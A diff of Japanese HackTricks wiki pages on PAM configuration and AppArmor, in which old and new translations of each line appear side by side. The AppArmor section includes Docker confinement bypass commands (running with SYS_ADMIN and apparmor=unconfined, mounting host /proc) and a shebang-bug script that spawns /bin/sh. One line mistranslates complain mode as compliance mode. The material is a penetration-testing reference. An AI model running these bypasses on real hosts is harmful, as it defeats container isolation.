|
||||
**PAM (Pluggable Authentication Modules)** は、**コンピュータサービスにアクセスしようとするユーザーの身元を確認するセキュリティメカニズム**として機能し、さまざまな基準に基づいてアクセスを制御します。これはデジタルゲートキーパーのようなもので、認可されたユーザーのみが特定のサービスに関与できるようにし、システムの過負荷を防ぐために使用を制限することがあります。
|
||||
|
||||
#### 設定ファイル
|
||||
|
||||
* **Solaris および UNIX ベースのシステム** は、通常 `/etc/pam.conf` にある中央設定ファイルを利用します。
|
||||
* **Linux システム** は、サービス固有の設定を `/etc/pam.d` に保存するディレクトリアプローチを好みます。たとえば、ログインサービスの設定ファイルは `/etc/pam.d/login` にあります。
|
||||
* **SolarisおよびUNIXベースのシステム**は、通常、`/etc/pam.conf`にある中央設定ファイルを利用します。
|
||||
* **Linuxシステム**は、ディレクトリアプローチを好み、サービス固有の設定を`/etc/pam.d`に保存します。たとえば、ログインサービスの設定ファイルは`/etc/pam.d/login`にあります。
|
||||
|
||||
ログインサービスの PAM 設定の例は次のようになります:
|
||||
ログインサービスのPAM設定の例は次のようになります:
|
||||
```
|
||||
auth required /lib/security/pam_securetty.so
|
||||
auth required /lib/security/pam_nologin.so
|
||||
|
@ -53,7 +40,7 @@ session required /lib/security/pam_unix_session.so
|
|||
```
|
||||
#### **PAM管理領域**
|
||||
|
||||
これらの領域、または管理グループには、**auth**、**account**、**password**、および**session**が含まれ、それぞれが認証およびセッション管理プロセスの異なる側面を担当しています:
|
||||
これらの領域、または管理グループには、**auth**、**account**、**password**、および**session**が含まれ、それぞれ認証およびセッション管理プロセスの異なる側面を担当しています:
|
||||
|
||||
* **Auth**: ユーザーの身元を確認し、通常はパスワードの入力を促します。
|
||||
* **Account**: アカウントの検証を処理し、グループメンバーシップや時間制限などの条件を確認します。
|
||||
|
@ -67,39 +54,28 @@ session required /lib/security/pam_unix_session.so
|
|||
* **Required**: 必須モジュールの失敗は最終的な失敗を引き起こしますが、すべての後続モジュールがチェックされた後にのみ発生します。
|
||||
* **Requisite**: 失敗時にプロセスを即座に終了します。
|
||||
* **Sufficient**: 成功は同じ領域の残りのチェックをバイパスしますが、後続のモジュールが失敗した場合は除きます。
|
||||
* **Optional**: スタック内で唯一のモジュールである場合にのみ失敗を引き起こします。
|
||||
* **Optional**: スタック内の唯一のモジュールである場合にのみ失敗を引き起こします。
|
||||
|
||||
#### 例のシナリオ
|
||||
|
||||
複数のauthモジュールを持つセットアップでは、プロセスは厳格な順序に従います。`pam_securetty`モジュールがログイン端末を不正と見なすと、rootログインはブロックされますが、その「必須」ステータスのためにすべてのモジュールは処理され続けます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスを向上させる可能性があります。`pam_ldap`と`pam_unix`モジュールは協力してユーザーを認証し、`pam_unix`は以前に提供されたパスワードを使用しようとし、認証方法の効率と柔軟性を高めます。
|
||||
複数のauthモジュールを持つセットアップでは、プロセスは厳格な順序に従います。`pam_securetty`モジュールがログイン端末を不正と見なすと、rootログインはブロックされますが、その「required」ステータスのためにすべてのモジュールは処理され続けます。`pam_env`は環境変数を設定し、ユーザーエクスペリエンスを向上させる可能性があります。`pam_ldap`と`pam_unix`モジュールは協力してユーザーを認証し、`pam_unix`は以前に提供されたパスワードを使用しようとし、認証方法の効率と柔軟性を高めます。
|
||||
|
||||
### 参考文献
|
||||
|
||||
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**stealer malwares**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,42 @@
|
|||
# AppArmor
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と実践:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と実践: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksのサポート</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、ハッキングテクニックを共有してください。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
AppArmorは、**プログラムごとのプロファイルを介してプログラムが利用できるリソースを制限するように設計されたカーネルの拡張機能**であり、アクセス制御属性をユーザーではなくプログラムに直接結び付けることで、強制アクセス制御(MAC)を効果的に実装しています。このシステムは、**プロファイルをカーネルにロード**して動作し、これらのプロファイルは、ネットワーク接続、生のソケットアクセス、ファイルアクセス権限など、プログラムがアクセスできるリソースを指示します。
|
||||
AppArmorは、**プログラムごとのプロファイルを通じてプログラムに利用可能なリソースを制限するために設計されたカーネル拡張機能**です。これにより、アクセス制御属性がユーザーではなくプログラムに直接結び付けられることで、Mandatory Access Control (MAC)が効果的に実装されます。このシステムは、**プロファイルをカーネルにロードすることによって機能し**、通常はブート時に行われ、これらのプロファイルはプログラムがアクセスできるリソース(ネットワーク接続、生ソケットアクセス、ファイル権限など)を決定します。
|
||||
|
||||
AppArmorプロファイルには、次の2つの動作モードがあります:
|
||||
AppArmorプロファイルには2つの運用モードがあります:
|
||||
|
||||
* **強制モード**:このモードは、プロファイルで定義されたポリシーを積極的に強制し、これらのポリシーに違反するアクションをブロックし、syslogやauditdなどのシステムを介してこれらを侵害しようとする試みを記録します。
|
||||
* **クレームモード**:強制モードとは異なり、クレームモードでは、プロファイルのポリシーに違反するアクションをブロックしません。代わりに、これらの試みをポリシー違反として記録しますが、制限を強制しません。
|
||||
* **強制モード**:このモードは、プロファイル内で定義されたポリシーを積極的に強制し、これらのポリシーに違反するアクションをブロックし、syslogやauditdなどのシステムを通じて違反の試みをログに記録します。
|
||||
* **コンプライアンスモード**:強制モードとは異なり、コンプライアンスモードはプロファイルのポリシーに反するアクションをブロックしません。代わりに、これらの試みをポリシー違反としてログに記録しますが、制限は強制しません。
|
||||
|
||||
### AppArmorの構成要素
|
||||
### AppArmorのコンポーネント
|
||||
|
||||
* **カーネルモジュール**:ポリシーの強制を担当します。
|
||||
* **ポリシー**:プログラムの動作とリソースアクセスのルールと制限を指定します。
|
||||
* **ポリシー**:プログラムの動作とリソースアクセスに関するルールと制限を指定します。
|
||||
* **パーサー**:ポリシーをカーネルにロードして強制または報告します。
|
||||
* **ユーティリティ**:これらは、AppArmorとのやり取りと管理のためのインターフェースを提供するユーザーモードプログラムです。
|
||||
* **ユーティリティ**:AppArmorとのインターフェースを提供し、管理するためのユーザーモードプログラムです。
|
||||
|
||||
### プロファイルのパス
|
||||
|
||||
AppArmorプロファイルは通常、_**/etc/apparmor.d/**_に保存されます。\
|
||||
`sudo aa-status`を使用すると、いくつかのプロファイルに制限がかけられているバイナリがリストされます。各リストされたバイナリのパスのスラッシュをドットに変更すると、言及されたフォルダ内のapparmorプロファイルの名前が取得できます。
|
||||
`sudo aa-status`を使用すると、いくつかのプロファイルによって制限されているバイナリをリストできます。リストされた各バイナリのパスの「/」をドットに変更すると、指定されたフォルダー内のAppArmorプロファイルの名前が得られます。
|
||||
|
||||
たとえば、_**/usr/bin/man**_の**apparmor**プロファイルは、_**/etc/apparmor.d/usr.bin.man**_にあります。
|
||||
例えば、_**/usr/bin/man**_のための**AppArmor**プロファイルは、_**/etc/apparmor.d/usr.bin.man**_にあります。
|
||||
|
||||
### コマンド
|
||||
```bash
|
||||
|
@ -64,34 +50,40 @@ aa-mergeprof #used to merge the policies
|
|||
```
|
||||
## プロファイルの作成
|
||||
|
||||
- 影響を受ける実行ファイルを示すために、**絶対パスとワイルドカード**が許可されています(ファイルグロブを使用するため)。
|
||||
- **ファイル**に対するバイナリのアクセスを示すために、以下の**アクセス制御**を使用できます:
|
||||
- **r**(読み取り)
|
||||
- **w**(書き込み)
|
||||
- **m**(実行可能としてメモリマップ)
|
||||
- **k**(ファイルロック)
|
||||
- **l**(ハードリンクの作成)
|
||||
- **ix**(新しいプログラムで別のプログラムを実行し、ポリシーを継承)
|
||||
- **Px**(環境をクリーンアップした後、別のプロファイルで実行)
|
||||
- **Cx**(環境をクリーンアップした後、子プロファイルで実行)
|
||||
- **Ux**(環境をクリーンアップした後、無制限に実行)
|
||||
- **変数**はプロファイルで定義でき、プロファイルの外部から操作できます。例:@{PROC} および @{HOME}(プロファイルファイルに #include \<tunables/global> を追加)
|
||||
- **許可ルールを上書きするために拒否ルールがサポート**されています。
|
||||
* 影響を受ける実行可能ファイルを示すために、**絶対パスとワイルドカード**がファイルを指定するために許可されています。
|
||||
* バイナリが**ファイル**に対して持つアクセスを示すために、以下の**アクセス制御**を使用できます:
|
||||
* **r** (読み取り)
|
||||
* **w** (書き込み)
|
||||
* **m** (実行可能なメモリマップ)
|
||||
* **k** (ファイルロック)
|
||||
* **l** (ハードリンクの作成)
|
||||
* **ix** (新しいプログラムがポリシーを継承して別のプログラムを実行する)
|
||||
* **Px** (環境をクリーンアップした後、別のプロファイルの下で実行)
|
||||
* **Cx** (環境をクリーンアップした後、子プロファイルの下で実行)
|
||||
* **Ux** (環境をクリーンアップした後、制限なしで実行)
|
||||
* **変数**はプロファイル内で定義でき、プロファイルの外部から操作できます。例えば: @{PROC} と @{HOME} (プロファイルファイルに #include \<tunables/global> を追加)
|
||||
* **許可ルールを上書きするための拒否ルールがサポートされています**。
|
||||
|
||||
### aa-genprof
|
||||
|
||||
簡単にプロファイルの作成を開始するために、apparmor が役立ちます。**バイナリによって実行されるアクションを apparmor に検査させ、その後、許可または拒否するアクションを決定できます**。\
|
||||
次のコマンドを実行するだけです:
|
||||
プロファイルの作成を簡単に始めるために、apparmorが役立ちます。**apparmorがバイナリによって実行されるアクションを検査し、許可または拒否したいアクションを決定できるようにすることが可能です**。\
|
||||
実行するだけで済みます:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
```
|
||||
その後、別のコンソールで通常バイナリが実行するすべてのアクションを実行します:
|
||||
その後、別のコンソールでバイナリが通常実行するすべてのアクションを実行します:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
次に、最初のコンソールで "**s**" を押し、記録されたアクションで無視、許可、またはその他を選択します。終了したら "**f**" を押すと、新しいプロファイルが _/etc/apparmor.d/path.to.binary_ に作成されます。
|
||||
|
||||
{% hint style="info" %}
|
||||
矢印キーを使用して、許可/拒否/その他を選択できます
|
||||
{% endhint %}
|
||||
|
||||
### aa-easyprof
|
||||
|
||||
また、バイナリのAppArmorプロファイルのテンプレートを作成することもできます。
|
||||
バイナリの apparmor プロファイルのテンプレートを作成することもできます:
|
||||
```bash
|
||||
sudo aa-easyprof /path/to/binary
|
||||
# vim:syntax=apparmor
|
||||
|
@ -117,16 +109,16 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
デフォルトでは、作成したプロファイルでは何も許可されていないため、すべてが拒否されます。たとえば、バイナリが `/etc/passwd` を読むことを許可するために `/etc/passwd r,` のような行を追加する必要があります。
|
||||
デフォルトでは、作成されたプロファイルでは何も許可されていないため、すべてが拒否されます。例えば、バイナリが`/etc/passwd`を読み取ることを許可するには、`/etc/passwd r,`のような行を追加する必要があります。
|
||||
{% endhint %}
|
||||
|
||||
新しいプロファイルを**強制**することができます。
|
||||
その後、**enforce**コマンドを使用して新しいプロファイルを適用できます。
|
||||
```bash
|
||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||
```
|
||||
### ログからプロファイルを変更する
|
||||
### ログからのプロファイルの変更
|
||||
|
||||
次のツールはログを読み取り、ユーザーに検出された禁止されたアクションのうち許可するかどうかを尋ねます:
|
||||
次のツールはログを読み取り、ユーザーに検出された禁止されたアクションのいくつかを許可するかどうかを尋ねます:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
|
@ -142,14 +134,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
|
|||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||
```
|
||||
## ログ
|
||||
## Logs
|
||||
|
||||
実行可能ファイル **`service_bin`** の _/var/log/audit/audit.log_ からの **AUDIT** と **DENIED** ログの例:
|
||||
実行可能ファイル **`service_bin`** の _/var/log/audit/audit.log_ からの **AUDIT** および **DENIED** ログの例:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
```
|
||||
次の方法でもこの情報を取得できます:
|
||||
この情報は次のコマンドを使用して取得することもできます:
|
||||
```bash
|
||||
sudo aa-notify -s 1 -v
|
||||
Profile: /bin/service_bin
|
||||
|
@ -167,9 +159,9 @@ Logfile: /var/log/audit/audit.log
|
|||
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
|
||||
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
||||
```
|
||||
## Docker内のApparmor
|
||||
## Apparmor in Docker
|
||||
|
||||
デフォルトでDockerのプロファイル**docker-profile**がロードされていることに注目してください:
|
||||
dockerの**docker-profile**プロファイルがデフォルトで読み込まれることに注意してください:
|
||||
```bash
|
||||
sudo aa-status
|
||||
apparmor module is loaded.
|
||||
|
@ -185,85 +177,87 @@ apparmor module is loaded.
|
|||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
||||
デフォルトでは、**Apparmor docker-defaultプロファイル**は[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)から生成されます。
|
||||
デフォルトでは、**Apparmor docker-default プロファイル**は [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) から生成されます。
|
||||
|
||||
**docker-defaultプロファイルの概要**:
|
||||
**docker-default プロファイルの概要**:
|
||||
|
||||
- すべての**ネットワーキング**への**アクセス**
|
||||
- **権限**は定義されていません(ただし、一部の権限は基本的なベースルールを含めることで取得されます、つまり#include \<abstractions/base>)
|
||||
- 任意の**/proc**ファイルへの**書き込み**は**許可されていません**
|
||||
- 他の/**proc**および/**sys**の**サブディレクトリ**/**ファイル**への読み取り/書き込み/ロック/リンク/実行アクセスは**拒否されます**
|
||||
- **マウント**は**許可されていません**
|
||||
- **Ptrace**は、**同じapparmorプロファイル**によって制限されたプロセスでのみ実行できます
|
||||
* **ネットワーク**へのすべての**アクセス**
|
||||
* **能力**は定義されていません(ただし、基本的なベースルールを含めることでいくつかの能力が得られます。つまり、#include \<abstractions/base>)
|
||||
* **/proc**ファイルへの**書き込み**は**許可されていません**
|
||||
* **/proc**および**/sys**の他の**サブディレクトリ**/**ファイル**への読み取り/書き込み/ロック/リンク/実行アクセスは**拒否**されます
|
||||
* **マウント**は**許可されていません**
|
||||
* **Ptrace**は、**同じ apparmor プロファイル**によって制限されたプロセスでのみ実行できます
|
||||
|
||||
Dockerコンテナを**実行**すると、次の出力が表示されるはずです:
|
||||
**docker コンテナを実行すると**、次の出力が表示されるはずです:
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
注意してください。デフォルトでは、**apparmorはコンテナに付与された権限でさえもブロック**します。たとえば、**SYS_ADMIN権限が付与されていても、/proc内部への書き込み権限をブロック**することができます。なぜなら、デフォルトではdockerのapparmorプロファイルがこのアクセスを拒否するからです。
|
||||
注意してほしいのは、**apparmorはデフォルトでコンテナに付与されたcapabilities権限さえもブロックする**ということです。例えば、**SYS\_ADMIN権限が付与されていても/proc内への書き込み権限をブロックすることができる**のは、デフォルトのdocker apparmorプロファイルがこのアクセスを拒否するためです。
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
Apparmorの制限をバイパスするには、**apparmorを無効にする**必要があります。
|
||||
あなたはその制限を回避するために**apparmorを無効にする**必要があります:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
デフォルトでは**AppArmor**は、**SYS_ADMIN**機能を持っていても、コンテナが内部からフォルダをマウントすることを**禁止します**。
|
||||
デフォルトでは、**AppArmor**は**コンテナが内部から**フォルダをマウントすることを**禁止します**。SYS\_ADMIN権限があってもです。
|
||||
|
||||
**capabilities**をdockerコンテナに**追加/削除**することができます(これは**AppArmor**や**Seccomp**などの保護方法によって引き続き制限されます):
|
||||
**capabilities**をdockerコンテナに**追加/削除**することができます(これは**AppArmor**や**Seccomp**のような保護方法によって制限されます):
|
||||
|
||||
- `--cap-add=SYS_ADMIN` は`SYS_ADMIN`機能を付与します
|
||||
- `--cap-add=ALL` はすべての機能を付与します
|
||||
- `--cap-drop=ALL --cap-add=SYS_PTRACE` はすべての機能を削除し、`SYS_PTRACE`のみを付与します
|
||||
* `--cap-add=SYS_ADMIN` で `SYS_ADMIN` 権限を付与
|
||||
* `--cap-add=ALL` ですべての権限を付与
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` ですべての権限を削除し、`SYS_PTRACE`のみを付与
|
||||
|
||||
{% hint style="info" %}
|
||||
通常、**docker**コンテナ内で**特権のある機能**が**利用可能**であることに**気づいた**場合でも、**exploit**の一部が**機能しない**場合は、dockerの**AppArmorがそれを防いでいる**可能性があります。
|
||||
通常、**docker**コンテナ内で**特権のある権限**が利用可能であることを**発見**したが、**エクスプロイトの一部が機能していない**場合、これはdockerの**apparmorがそれを防いでいる**ためです。
|
||||
{% endhint %}
|
||||
|
||||
### 例
|
||||
|
||||
([**こちら**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)の例から)
|
||||
([**こちら**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)からの例)
|
||||
|
||||
AppArmorの機能を説明するために、新しいDockerプロファイル「mydocker」を作成し、次の行を追加しました:
|
||||
AppArmorの機能を示すために、次の行を追加した新しいDockerプロファイル「mydocker」を作成しました:
|
||||
```
|
||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||
```
|
||||
プロファイルをアクティブにするには、以下の手順を実行する必要があります:
|
||||
プロファイルを有効にするには、次の手順を実行する必要があります:
|
||||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
プロファイルをリストするには、以下のコマンドを使用できます。以下のコマンドは、私の新しいAppArmorプロファイルをリストしています。
|
||||
プロファイルをリストするには、次のコマンドを実行できます。以下のコマンドは、私の新しいAppArmorプロファイルをリストしています。
|
||||
```
|
||||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
```
|
||||
以下のように、「/etc/」を変更しようとするとエラーが発生します。これは、AppArmorプロファイルが「/etc」への書き込みアクセスを防いでいるためです。
|
||||
以下に示すように、AppArmorプロファイルが「/etc」への書き込みアクセスを防止しているため、「/etc/」を変更しようとするとエラーが発生します。
|
||||
```
|
||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
### AppArmor Docker バイパス1
|
||||
### AppArmor Docker Bypass1
|
||||
|
||||
コンテナで実行されている **apparmor プロファイルを見つける** 方法は次の通りです:
|
||||
コンテナが実行している**apparmorプロファイル**を見つけるには、次のコマンドを使用します:
|
||||
```bash
|
||||
docker inspect 9d622d73a614 | grep lowpriv
|
||||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
```
|
||||
その後、次の行を実行して、**使用されている正確なプロファイルを見つける**ことができます:
|
||||
次に、以下の行を実行して**使用されている正確なプロファイルを見つける**ことができます:
|
||||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
In the weird case you can **modify the apparmor docker profile and reload it.** あなたは制限を削除し、「バイパス」することができます。
|
||||
|
||||
### AppArmor Docker Bypass2
|
||||
|
||||
**AppArmorはパスベース**であり、これは、たとえ**`/proc`**のようなディレクトリ内のファイルを**保護**しているとしても、コンテナの実行方法を**構成**できる場合、ホストのprocディレクトリを**`/host/proc`**内にマウントすることができ、それはもはやAppArmorによって保護されなくなります。
|
||||
**AppArmorはパスベースです**。これは、たとえそれが**`/proc`**のようなディレクトリ内のファイルを**保護している**としても、**コンテナの実行方法を構成できる**場合、ホストのprocディレクトリを**`/host/proc`**に**マウント**することができ、**AppArmorによって保護されなくなる**ことを意味します。
|
||||
|
||||
### AppArmor Shebang Bypass
|
||||
|
||||
[**このバグ**](https://bugs.launchpad.net/apparmor/+bug/1911431)では、**特定のリソースでperlの実行を防いでいる場合でも**、最初の行に**`#!/usr/bin/perl`**を指定したシェルスクリプトを作成し、ファイルを直接実行すると、任意のコマンドを実行できる例が示されています。例:
|
||||
[**このバグ**](https://bugs.launchpad.net/apparmor/+bug/1911431)では、**特定のリソースでperlの実行を防いでいる場合でも**、最初の行に**`#!/usr/bin/perl`**を指定したシェルスクリプトを作成し、**ファイルを直接実行**することで、あなたが望むものを実行できる例を見ることができます。例えば:
|
||||
```perl
|
||||
echo '#!/usr/bin/perl
|
||||
use POSIX qw(strftime);
|
||||
|
@ -273,29 +267,17 @@ exec "/bin/sh"' > /tmp/test.pl
|
|||
chmod +x /tmp/test.pl
|
||||
/tmp/test.pl
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と実践:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と実践:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksのサポート</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,24 @@
|
|||
# Docker release\_agent cgroups escape
|
||||
|
||||
